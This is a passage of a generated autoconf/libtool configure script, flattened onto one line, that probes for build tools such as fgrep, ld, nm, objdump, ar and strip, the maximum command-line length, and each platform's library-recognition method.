"$ac_path_FGREP"; } || continue # Check for GNU ac_path_FGREP and select it if it is found. # Check for GNU $ac_path_FGREP case `"$ac_path_FGREP" --version 2>&1` in *GNU*) ac_cv_path_FGREP="$ac_path_FGREP" ac_path_FGREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'FGREP' >> "conftest.nl" "$ac_path_FGREP" FGREP < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_FGREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_FGREP="$ac_path_FGREP" ac_path_FGREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_FGREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_FGREP"; then as_fn_error "no acceptable fgrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_FGREP=$FGREP fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_FGREP" >&5 $as_echo "$ac_cv_path_FGREP" >&6; } FGREP="$ac_cv_path_FGREP" test -z "$GREP" && GREP=grep # Check whether --with-gnu-ld was given. if test "${with_gnu_ld+set}" = set; then : withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes else with_gnu_ld=no fi ac_prog=ld if test "$GCC" = yes; then # Check if gcc -print-prog-name=ld gives a path. { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5 $as_echo_n "checking for ld used by $CC... " >&6; } case $host in *-*-mingw*) # gcc leaves a trailing carriage return which upsets mingw ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; *) ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; esac case $ac_prog in # Accept absolute paths. [\\/]* | ?:[\\/]*) re_direlt='/[^/][^/]*/\.\./' # Canonicalize the pathname of ld ac_prog=`$ECHO "$ac_prog"| $SED 's%\\\\%/%g'` while $ECHO "$ac_prog" | $GREP "$re_direlt" > /dev/null 2>&1; do ac_prog=`$ECHO $ac_prog| $SED "s%$re_direlt%/%"` done test -z "$LD" && LD="$ac_prog" ;; "") # If it fails, then pretend we aren't using GCC. ac_prog=ld ;; *) # If it is relative, then search for the first ld in PATH. with_gnu_ld=unknown ;; esac elif test "$with_gnu_ld" = yes; then { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5 $as_echo_n "checking for GNU ld... " >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5 $as_echo_n "checking for non-GNU ld... " >&6; } fi if test "${lt_cv_path_LD+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -z "$LD"; then lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then lt_cv_path_LD="$ac_dir/$ac_prog" # Check to see if the program is GNU ld. I'd rather use --version, # but apparently some variants of GNU ld only accept -v. # Break only if it was the GNU/non-GNU ld that we prefer. case `"$lt_cv_path_LD" -v 2>&1 &5 $as_echo "$LD" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -z "$LD" && as_fn_error "no acceptable ld found in \$PATH" "$LINENO" 5 { $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5 $as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; } if test "${lt_cv_prog_gnu_ld+set}" = set; then : $as_echo_n "(cached) " >&6 else # I'd rather use --version here, but apparently some GNU lds only accept -v. case `$LD -v 2>&1 &5 $as_echo "$lt_cv_prog_gnu_ld" >&6; } with_gnu_ld=$lt_cv_prog_gnu_ld { $as_echo "$as_me:${as_lineno-$LINENO}: checking for BSD- or MS-compatible name lister (nm)" >&5 $as_echo_n "checking for BSD- or MS-compatible name lister (nm)... " >&6; } if test "${lt_cv_path_NM+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$NM"; then # Let the user override the test. lt_cv_path_NM="$NM" else lt_nm_to_check="${ac_tool_prefix}nm" if test -n "$ac_tool_prefix" && test "$build" = "$host"; then lt_nm_to_check="$lt_nm_to_check nm" fi for lt_tmp_nm in $lt_nm_to_check; do lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do IFS="$lt_save_ifs" test -z "$ac_dir" && ac_dir=. tmp_nm="$ac_dir/$lt_tmp_nm" if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then # Check to see if the nm accepts a BSD-compat flag. # Adding the `sed 1q' prevents false positives on HP-UX, which says: # nm: unknown option "B" ignored # Tru64's nm complains that /dev/null is an invalid object file case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in */dev/null* | *'Invalid file or object type'*) lt_cv_path_NM="$tmp_nm -B" break ;; *) case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in */dev/null*) lt_cv_path_NM="$tmp_nm -p" break ;; *) lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but continue # so that we can try to find one that supports BSD flags ;; esac ;; esac fi done IFS="$lt_save_ifs" done : ${lt_cv_path_NM=no} fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_NM" >&5 $as_echo "$lt_cv_path_NM" >&6; } if test "$lt_cv_path_NM" != "no"; then NM="$lt_cv_path_NM" else # Didn't find any BSD compatible name lister, look for dumpbin. if test -n "$ac_tool_prefix"; then for ac_prog in "dumpbin -symbols" "link -dump -symbols" do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_DUMPBIN+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$DUMPBIN"; then ac_cv_prog_DUMPBIN="$DUMPBIN" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_DUMPBIN="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi DUMPBIN=$ac_cv_prog_DUMPBIN if test -n "$DUMPBIN"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DUMPBIN" >&5 $as_echo "$DUMPBIN" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$DUMPBIN" && break done fi if test -z "$DUMPBIN"; then ac_ct_DUMPBIN=$DUMPBIN for ac_prog in "dumpbin -symbols" "link -dump -symbols" do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_DUMPBIN+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_DUMPBIN"; then ac_cv_prog_ac_ct_DUMPBIN="$ac_ct_DUMPBIN" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_DUMPBIN="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_DUMPBIN=$ac_cv_prog_ac_ct_DUMPBIN if test -n "$ac_ct_DUMPBIN"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DUMPBIN" >&5 $as_echo "$ac_ct_DUMPBIN" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_DUMPBIN" && break done if test "x$ac_ct_DUMPBIN" = x; then DUMPBIN=":" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac DUMPBIN=$ac_ct_DUMPBIN fi fi if test "$DUMPBIN" != ":"; then NM="$DUMPBIN" fi fi test -z "$NM" && NM=nm { $as_echo "$as_me:${as_lineno-$LINENO}: checking the name lister ($NM) interface" >&5 $as_echo_n "checking the name lister ($NM) interface... " >&6; } if test "${lt_cv_nm_interface+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_nm_interface="BSD nm" echo "int some_variable = 0;" > conftest.$ac_ext (eval echo "\"\$as_me:5053: $ac_compile\"" >&5) (eval "$ac_compile" 2>conftest.err) cat conftest.err >&5 (eval echo "\"\$as_me:5056: $NM \\\"conftest.$ac_objext\\\"\"" >&5) (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) cat conftest.err >&5 (eval echo "\"\$as_me:5059: output\"" >&5) cat conftest.out >&5 if $GREP 'External.*some_variable' conftest.out > /dev/null; then lt_cv_nm_interface="MS dumpbin" fi rm -f conftest* fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_nm_interface" >&5 $as_echo "$lt_cv_nm_interface" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5 $as_echo_n "checking whether ln -s works... " >&6; } LN_S=$as_ln_s if test "$LN_S" = "ln -s"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5 $as_echo "no, using $LN_S" >&6; } fi # find the maximum length of command line arguments { $as_echo "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5 $as_echo_n "checking the maximum length of command line arguments... " >&6; } if test "${lt_cv_sys_max_cmd_len+set}" = set; then : $as_echo_n "(cached) " >&6 else i=0 teststring="ABCD" case $build_os in msdosdjgpp*) # On DJGPP, this test can blow up pretty badly due to problems in libc # (any single argument exceeding 2000 bytes causes a buffer overrun # during glob expansion). Even if it were fixed, the result of this # check would be larger than it should be. lt_cv_sys_max_cmd_len=12288; # 12K is about right ;; gnu*) # Under GNU Hurd, this test is not required because there is # no limit to the length of command line arguments. # Libtool will interpret -1 as no limit whatsoever lt_cv_sys_max_cmd_len=-1; ;; cygwin* | mingw* | cegcc*) # On Win9x/ME, this test blows up -- it succeeds, but takes # about 5 minutes as the teststring grows exponentially. # Worse, since 9x/ME are not pre-emptively multitasking, # you end up with a "frozen" computer, even though with patience # the test eventually succeeds (with a max line length of 256k). # Instead, let's just punt: use the minimum linelength reported by # all of the supported platforms: 8192 (on NT/2K/XP). lt_cv_sys_max_cmd_len=8192; ;; amigaos*) # On AmigaOS with pdksh, this test takes hours, literally. # So we just punt and use a minimum line length of 8192. lt_cv_sys_max_cmd_len=8192; ;; netbsd* | freebsd* | openbsd* | darwin* | dragonfly*) # This has been around since 386BSD, at least. Likely further. if test -x /sbin/sysctl; then lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` elif test -x /usr/sbin/sysctl; then lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` else lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs fi # And add a safety zone lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` ;; interix*) # We know the value 262144 and hardcode it with a safety zone (like BSD) lt_cv_sys_max_cmd_len=196608 ;; osf*) # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not # nice to cause kernel panics so lets avoid the loop below. # First set a reasonable default. lt_cv_sys_max_cmd_len=16384 # if test -x /sbin/sysconfig; then case `/sbin/sysconfig -q proc exec_disable_arg_limit` in *1*) lt_cv_sys_max_cmd_len=-1 ;; esac fi ;; sco3.2v5*) lt_cv_sys_max_cmd_len=102400 ;; sysv5* | sco5v6* | sysv4.2uw2*) kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` if test -n "$kargmax"; then lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ ]//'` else lt_cv_sys_max_cmd_len=32768 fi ;; *) lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` if test -n "$lt_cv_sys_max_cmd_len"; then lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` else # Make teststring a little bigger before we do anything with it. # a 1K string should be a reasonable start. for i in 1 2 3 4 5 6 7 8 ; do teststring=$teststring$teststring done SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} # If test is not a shell built-in, we'll probably end up computing a # maximum length that is only half of the actual maximum length, but # we can't tell. while { test "X"`$SHELL $0 --fallback-echo "X$teststring$teststring" 2>/dev/null` \ = "XX$teststring$teststring"; } >/dev/null 2>&1 && test $i != 17 # 1/2 MB should be enough do i=`expr $i + 1` teststring=$teststring$teststring done # Only check the string length outside the loop. lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` teststring= # Add a significant safety factor because C++ compilers can tack on # massive amounts of additional arguments before passing them to the # linker. It appears as though 1/2 is a usable value. lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` fi ;; esac fi if test -n $lt_cv_sys_max_cmd_len ; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5 $as_echo "$lt_cv_sys_max_cmd_len" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5 $as_echo "none" >&6; } fi max_cmd_len=$lt_cv_sys_max_cmd_len : ${CP="cp -f"} : ${MV="mv -f"} : ${RM="rm -f"} { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the shell understands some XSI constructs" >&5 $as_echo_n "checking whether the shell understands some XSI constructs... " >&6; } # Try some XSI features xsi_shell=no ( _lt_dummy="a/b/c" test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \ = c,a/b,, \ && eval 'test $(( 1 + 1 )) -eq 2 \ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \ && xsi_shell=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: $xsi_shell" >&5 $as_echo "$xsi_shell" >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the shell understands \"+=\"" >&5 $as_echo_n "checking whether the shell understands \"+=\"... " >&6; } lt_shell_append=no ( foo=bar; set foo baz; eval "$1+=\$2" && test "$foo" = barbaz ) \ >/dev/null 2>&1 \ && lt_shell_append=yes { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_shell_append" >&5 $as_echo "$lt_shell_append" >&6; } if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then lt_unset=unset else lt_unset=false fi # test EBCDIC or ASCII case `echo X|tr X '\101'` in A) # ASCII based system # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr lt_SP2NL='tr \040 \012' lt_NL2SP='tr \015\012 \040\040' ;; *) # EBCDIC based system lt_SP2NL='tr \100 \n' lt_NL2SP='tr \r\n \100\100' ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5 $as_echo_n "checking for $LD option to reload object files... " >&6; } if test "${lt_cv_ld_reload_flag+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_ld_reload_flag='-r' fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5 $as_echo "$lt_cv_ld_reload_flag" >&6; } reload_flag=$lt_cv_ld_reload_flag case $reload_flag in "" | " "*) ;; *) reload_flag=" $reload_flag" ;; esac reload_cmds='$LD$reload_flag -o $output$reload_objs' case $host_os in darwin*) if test "$GCC" = yes; then reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs' else reload_cmds='$LD$reload_flag -o $output$reload_objs' fi ;; esac if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args. set dummy ${ac_tool_prefix}objdump; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_OBJDUMP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$OBJDUMP"; then ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi OBJDUMP=$ac_cv_prog_OBJDUMP if test -n "$OBJDUMP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5 $as_echo "$OBJDUMP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_OBJDUMP"; then ac_ct_OBJDUMP=$OBJDUMP # Extract the first word of "objdump", so it can be a program name with args. set dummy objdump; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_OBJDUMP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_OBJDUMP"; then ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_OBJDUMP="objdump" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP if test -n "$ac_ct_OBJDUMP"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5 $as_echo "$ac_ct_OBJDUMP" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_OBJDUMP" = x; then OBJDUMP="false" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac OBJDUMP=$ac_ct_OBJDUMP fi else OBJDUMP="$ac_cv_prog_OBJDUMP" fi test -z "$OBJDUMP" && OBJDUMP=objdump { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to recognize dependent libraries" >&5 $as_echo_n "checking how to recognize dependent libraries... " >&6; } if test "${lt_cv_deplibs_check_method+set}" = set; then : $as_echo_n "(cached) " >&6 else lt_cv_file_magic_cmd='$MAGIC_CMD' lt_cv_file_magic_test_file= lt_cv_deplibs_check_method='unknown' # Need to set the preceding variable on all platforms that support # interlibrary dependencies. # 'none' -- dependencies not supported. # `unknown' -- same as none, but documents that we really don't know. # 'pass_all' -- all dependencies passed with no checks. # 'test_compile' -- check by making test program. # 'file_magic [[regex]]' -- check by looking for files in library path # which responds to the $file_magic_cmd with a given extended regex. # If you have `file' or equivalent on your system and you're not sure # whether `pass_all' will *always* work, you probably want this one. case $host_os in aix[4-9]*) lt_cv_deplibs_check_method=pass_all ;; beos*) lt_cv_deplibs_check_method=pass_all ;; bsdi[45]*) lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)' lt_cv_file_magic_cmd='/usr/bin/file -L' lt_cv_file_magic_test_file=/shlib/libc.so ;; cygwin*) # func_win32_libid is a shell function defined in ltmain.sh lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' lt_cv_file_magic_cmd='func_win32_libid' ;; mingw* | pw32*) # Base MSYS/MinGW do not provide the 'file' command needed by # func_win32_libid shell function, so use a weaker test based on 'objdump', # unless we find 'file', for example because we are cross-compiling. if ( file / ) >/dev/null 2>&1; then lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' lt_cv_file_magic_cmd='func_win32_libid' else lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' lt_cv_file_magic_cmd='$OBJDUMP -f' fi ;; cegcc) # use the weaker test based on 'objdump'. See mingw*. lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' lt_cv_file_magic_cmd='$OBJDUMP -f' ;; darwin* | rhapsody*) lt_cv_deplibs_check_method=pass_all ;; freebsd* | dragonfly*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then case $host_cpu in i*86 ) # Not sure whether the presence of OpenBSD here was a mistake. # Let's accept both of them until this is cleared up. lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` ;; esac else lt_cv_deplibs_check_method=pass_all fi ;; gnu*) lt_cv_deplibs_check_method=pass_all ;; hpux10.20* | hpux11*) lt_cv_file_magic_cmd=/usr/bin/file case $host_cpu in ia64*) lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64' lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so ;; hppa*64*) lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]' lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl ;; *) lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library' lt_cv_file_magic_test_file=/usr/lib/libc.sl ;; esac ;; interix[3-9]*) # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$' ;; irix5* | irix6* | nonstopux*) case $LD in *-32|*"-32 ") libmagic=32-bit;; *-n32|*"-n32 ") libmagic=N32;; *-64|*"-64 ") libmagic=64-bit;; *) libmagic=never-match;; esac lt_cv_deplibs_check_method=pass_all ;; # This must be Linux ELF. linux* | k*bsd*-gnu) lt_cv_deplibs_check_method=pass_all ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$' fi ;; newos6*) lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)' lt_cv_file_magic_cmd=/usr/bin/file lt_cv_file_magic_test_file=/usr/lib/libnls.so ;; *nto* | *qnx*) lt_cv_deplibs_check_method=pass_all ;; openbsd*) if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$' else lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' fi ;; osf3* | osf4* | osf5*) lt_cv_deplibs_check_method=pass_all ;; rdos*) lt_cv_deplibs_check_method=pass_all ;; solaris*) lt_cv_deplibs_check_method=pass_all ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) lt_cv_deplibs_check_method=pass_all ;; sysv4 | sysv4.3*) case $host_vendor in motorola) lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` ;; ncr) lt_cv_deplibs_check_method=pass_all ;; sequent) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' ;; sni) lt_cv_file_magic_cmd='/bin/file' lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib" lt_cv_file_magic_test_file=/lib/libc.so ;; siemens) lt_cv_deplibs_check_method=pass_all ;; pc) lt_cv_deplibs_check_method=pass_all ;; esac ;; tpf*) lt_cv_deplibs_check_method=pass_all ;; esac fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5 $as_echo "$lt_cv_deplibs_check_method" >&6; } file_magic_cmd=$lt_cv_file_magic_cmd deplibs_check_method=$lt_cv_deplibs_check_method test -z "$deplibs_check_method" && deplibs_check_method=unknown if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args. set dummy ${ac_tool_prefix}ar; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_AR+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$AR"; then ac_cv_prog_AR="$AR" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_AR="${ac_tool_prefix}ar" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi AR=$ac_cv_prog_AR if test -n "$AR"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5 $as_echo "$AR" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_AR"; then ac_ct_AR=$AR # Extract the first word of "ar", so it can be a program name with args. set dummy ar; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_AR+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_AR"; then ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_AR="ar" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_AR=$ac_cv_prog_ac_ct_AR if test -n "$ac_ct_AR"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5 $as_echo "$ac_ct_AR" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_AR" = x; then AR="false" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac AR=$ac_ct_AR fi else AR="$ac_cv_prog_AR" fi test -z "$AR" && AR=ar test -z "$AR_FLAGS" && AR_FLAGS=cru if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. set dummy ${ac_tool_prefix}strip; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_STRIP+set}" = set; then : $as_echo_n 